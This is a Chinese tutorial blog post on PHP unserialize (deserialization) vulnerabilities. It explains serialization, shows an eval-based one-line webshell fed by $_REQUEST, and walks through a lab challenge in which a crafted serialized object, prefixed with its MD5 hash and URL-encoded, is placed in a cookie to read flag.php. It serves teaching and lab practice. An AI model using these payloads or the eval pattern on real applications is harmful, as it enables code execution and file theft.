渗透测试基础 -unserialize反序列化漏洞

只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力💪!

什么是序列化

serialize 为 序列化的意思
unserialize 为 取消 序列化,在这理解为反序列化

那先来说一下,什么是序列化?:

序列化(serialize)是将对象的状态信息转换为可以储存或传输的形式的过程。在序列化期间对象将其当前状态写入到临时或者持久性储存区。以后,可以通过从储存区中读取或反序列化对象的状态,重新创建该对象【以字符串的形式将其保存】

简单的理解就是,将php中 对象,类,数组,变量,匿名函数等,转化为字符串,方便保存到数据库或者文件中。

什么是反序列化

序列化类似于存档,将其当前状态已字符串的形式保存下来
反序列化类似于读档,就是将序列化之后保存下来的字符串,还原到序列化之前。

了解了序列化是怎样一个概念,就需要知道,为什么需要这么个东西了,事物的存在是有必要客观因素的。

所以我们得接下来说一下老知识点:类 | 对象

类 | 对象

类 :一个种类,一个类似于模版的意思,比如,人类,属于一类;车,属于一类。它是一个庞统的概念。

对象:还是以上面的类接着说,人类,是一个大的范围,而如果定位到某一个人,那就有了属性,比如他是中国人,他1.8米,他是男人,这些都是他的属性,他是一个真实存在的事物,也就能理解他为一个 实例。对象里面存在方法和属性。

来看一下实例:

<?php
show_source(__FILE__);
class zf{
    var $test = '123';
}
$class = new zf;
?>

showsource()函数对文件进行语法高亮显示。_FILE_ 是源文件的绝对路径,这个意思就是将本文件以高亮显示出来。

classPHP 中,可以使用 class关键字加类名的方式定义一个类,然后用大括号{ }将在类体中定义类的属性和方法包裹起来,类的语法格式如下:

class 类名{ 类的属性和方法 ;}

var它用于在PHP4中声明类成员变量,在PHP 5引入了属性和方法可见性(publicprotectedprivate),因此`var``不在推荐使用。

new zf为将对象实体化,前面的为类定义属性或者方法。

实体化的对象,在被调用的时候才能使用,当这里使用完时,也就不在存在,所以我们得将其保存下来,这就需要用到序列化了,将其以字符串的形式保存下来,方便传输和保存。来看一下实体化的对象是怎么样的。

实例:

<?php
show_source(__FILE__);
class zf{
    var $test = '123';
}
$class = new zf;
echo '<br />'.serialize($class);
?>

输出:

O:2:"zf":1:{s:4:"test";s:3:"123";}

会已这样的字符串的形式存在。来简单解释一下这些字符串的意思。

  1. o 为object的缩写,提示这里是对象的序列化
  2. 2 为后面字符串的长度
  3. zf 为类的名字
  4. 1 在这里的意思是说,该类有1个数据(属性或者方法)
  5. s 为字符串的缩写 string
  6. 4 为后面一个字符串的长度
  7. tets 在这里的意思变量名的值,前面有提到
  8. s 还是为字符串的缩写
  9. 3 为后面字符串的长度
  10. 123 为变量的值

【这里需要提一点,并非只能对 类 做序列化,其他也可以,比如数组。】

实例:

<?php
show_source(__FILE__);
// class zf{
//     var $test = '123';
// }
$class = array('qwer');
echo '<br />'.serialize($class);
?>

输出:

a:1:{i:0;s:4:"qwer";}

既然看了序列化,也了解一下反序列化。

实例:

<?php
show_source(__FILE__);
// class zf{
//     var $test = '123';
// }
//$classl = new zf;
$a = 'O:2:"zf":1:{s:4:"test";s:3:"123";}';
var_dump(unserialize($a));
?>

输出:

object(zf)#1 (1){['test'] => string '123'}

这里将刚刚序列化的内容,放到这里来进行一次反序列化,得到了刚刚对象的类型和类名,及类的属性和方法的值。

在看一下序列化是怎么产生漏洞的

实例:

<?php
class hj{
    public function test(){
        eval ($this -> source);
    }
}
$s = new hj();
$s -> source = "echo 'hello world';";
$s -> test()
?>

输出:

hello world

创建一个类,类名是叫hjpublic function,定义公有函数,这个函数叫test;eval,任意代码执行(这里是一个伪变量,暂时没有给其赋值,可以后面在传入进去);将hj类实体化,放入变量$s中,然后这里对其刚刚的伪变量传入值;最后调用函数test,方法执行eval(echo hello world)输出``hello world

在这里看起来也没什么问题 可是 如果在echo的地方我们传入的不是hello world而是`$_REQUEST[888]``呢?
在这里插入图片描述

这样就变成了一句话木马。当然,这里人家开发是不可能会写个木马在这里。所以代码的情况得变变

<?php
class hj{
    public function a(){
        eval ($this -> source);
    }
}
$s = unserialize($_GET('a'));
?>

一般会是这样的情况,这里通过数据库或者其他方法,得到一个序列化的内容,然后放入到里面执行,只要我们在这中间控制了传入的内容,就能实施攻击

当然,类的名字和信息,是需要绑定的,所以序列化还是得在这里进行,这个也符合场景,因为反序列化的挖掘都是白盒测试,所以知道代码很正常。这里直接用这个的代码做恶意语句的序列化值。

<?php
class hj{
    public function a(){
        eval ($this -> source);
    }
}
$s = new hj();
$s ->source = "$_REQUEST[888]";
$s ->a();
echo serialize($s);
?>

在这里插入图片描述
这样就得到了序列化之后的内容,将这个得到的序列化之后字符串,复制下来,让其刚刚的正常的代码去执行,看能不能起到作用

O:2:"hj":1:{s:6:"source";s:1:";";}

在这里插入图片描述

如果在末尾加上调用方法,那么这里就成功了。可是就如刚刚说的 这里单独去调用一下不可能的,开发不会写这样的东西,但是呢,他们会用另外的东西,名为魔术方法

魔术方法

自动触发的函数,当满足某个条件时,就会自动触发

常见魔术方法

  1. __construct 对象创建时自动调用
  2. __destruct 对象销毁时自动调用
  3. __wakeup 在使用unserialize函数的时候会被使用
  4. __toString当一个对象被当作字符串被对待时,会触发
    本质上serialize()unserialize()在PHP内部实现是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象,魔术函数以及序列化相关问题的时候导致的。

当传给unserilize()的参数可控时,那么用户就可以注入精心构造的payload。当进行反序列的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。

反序列化靶场演练

在这里插入图片描述
左上角第一句就告诉了我们flag在哪,在flag.php里面。

先看第一段:

Class readme{
    public function __toString()
    {
        return highlight_file('Readme.txt', true).highlight_file($this->source, true);
    }
}
  1. Class readme定义一个类 类名叫做readme

  2. public function __toString()这里使用了一个tustring的魔术方法,而这个,意思刚刚也有提到,当对象被当作字符串处理时,会启动。

  3. return返回 highlight_file() 函数对文件进行语法高亮显示。 第一句的意思是:当上面的方法启动时,会高量返回readme.txt里面的内容。接着看下一句:还是高量函数,返回变量source等下传过来的值。

看下一段:

if(isset($_GET['source'])){
    $s = new readme();
    $s->source = __FILE__;
    echo $s;
    exit;
}
  1. isset() 检查变量是否设置,然后还是在if分支语句里面,那这里这么理解:检查GET传参里面有没有source的值,有就接着往下执行,反之停止向下执行代码。

  2. $s =实体化对象readme

  3. 这里对source传入了数据,数据是是当前文件的绝对路径

  4. 输出变量 $s(这里就满足了刚刚的魔术方法)

  5. 然后结束。

这里没戏,虽然如果将恶意序列化语句能够传入到FILE是满足我们的条件的,但是如果能传,那也代表进入了分支语句,就肯定会执行最下面的死亡函数,所有这里pass,接着往下看。

下一段:

if(isset($_COOKIE['todos'])){
    $c = $_COOKIE['todos'];
    $h = substr($c, 0, 32);
    $m = substr($c, 32);
    if(md5($m) === $h){
        $todos = unserialize($m);
    }
}
  1. 第一句和上面一样 刚刚是检查GET的传参是否为空,这个检查的cookiecookie里面的值要等于todos,才能往下执行。

  2. 这里看的顺序换一下,先从下面开始看,最后写着反序列化,将变量m的值,进行反序列化,传给变量todos,这个操作是需要满足上面一个的条件。

  3. 条件为:变量m的值,MD5化,然后要类型和值都等于变量h,才会执行下面的语句,那既然我们想要他条件达成,所以这里m的值和h的值就必须是一样的了。

  4. substr的意思是截取设定好的字符,m等于cookie的``32位后面的所有值。变量h等于cookie32个值。【$c=$h+$m】

这样看下来,只要满足 $c=md5($m)+$m即可

这样就好操作了,先将第一段代码弄下来,放到虚拟机上。

<?php
Class readme{
    public function __toString()
    {
        return highlight_file('Readme.txt', true).highlight_file($this->source, true);
    }
}
$s = new readme();
$s ->source='./flag.php';
echo serialize($s);
?>

在这里插入图片描述
解释一下 第一句是将类实体化,然后source传入我们想要知道的flag.php的文件,让其去访问,然后echo输入其序列化之后的内容

这里就得到了序列化之后的值,但是刚刚的输出不能用 只能找其他的地方了,在下方有个输出,是中特殊的写法

<?php foreach($todos as $todo):?>
    <li><?=$todo?></li>
<?php endforeach;?>

在这里插入图片描述
代码拿过来解析一下:foreach遍历的意思,然后后面的as的意思是将变量todos的值,拿出来放到变量todo中,又因为在遍历里面,所以是将变量todos里面的值,一个个拿出来放到变量todo中,执行下面的代码<?=$todo?> 就是等于 <?php echo $todo?> 这是一种特殊的写法,所以这就满足最上面魔术方法的条件,但是这里需要注意的是,foreach是只能执行数组的,而我们前面的序列化之后的值是对象的,所以得在给他改为数组才行。

在这里插入图片描述
这样就得到了数组类型的序列化值,那这个就等于$m的值,而$c等于md5($m)+$m,所以将其md5一下
在这里插入图片描述

  1. fae1710f5e51885bcf095e718ca752cc
  2. a:1:{i:0;O:6:"readme":1:{s:6:"source";s:10:"./flag.php";}}

然后将其合起来

fae1710f5e51885bcf095e718ca752cca:1:{i:0;O:6:”readme”:1:{s:6:”source”;s:10:”./flag.php”;}}
因为cookie,是需要转码的,所以在进行一次转码
在这里插入图片描述

对其抓包,放入cookietodos的中

fae1710f5e51885bcf095e718ca752cca%3a1%3a%7bi%3a0%3bO%3a6%3a%22readme%22%3a1%3a%7bs%3a6%3a%22source%22%3bs%3a10%3a%22.%2fflag.php%22%3b%7d%7d
在这里插入图片描述
在这里插入图片描述

漏洞总结

反序列化漏洞基本都出现在白盒审计的情境中,所以以黑盒来攻击这样的方式不大可能出现,如果要减少这方面问题的话,还是得开发在使用反序列化的时候多注意语句调用。

《最好的防御,是明白其怎么实施的攻击》

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jinxya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值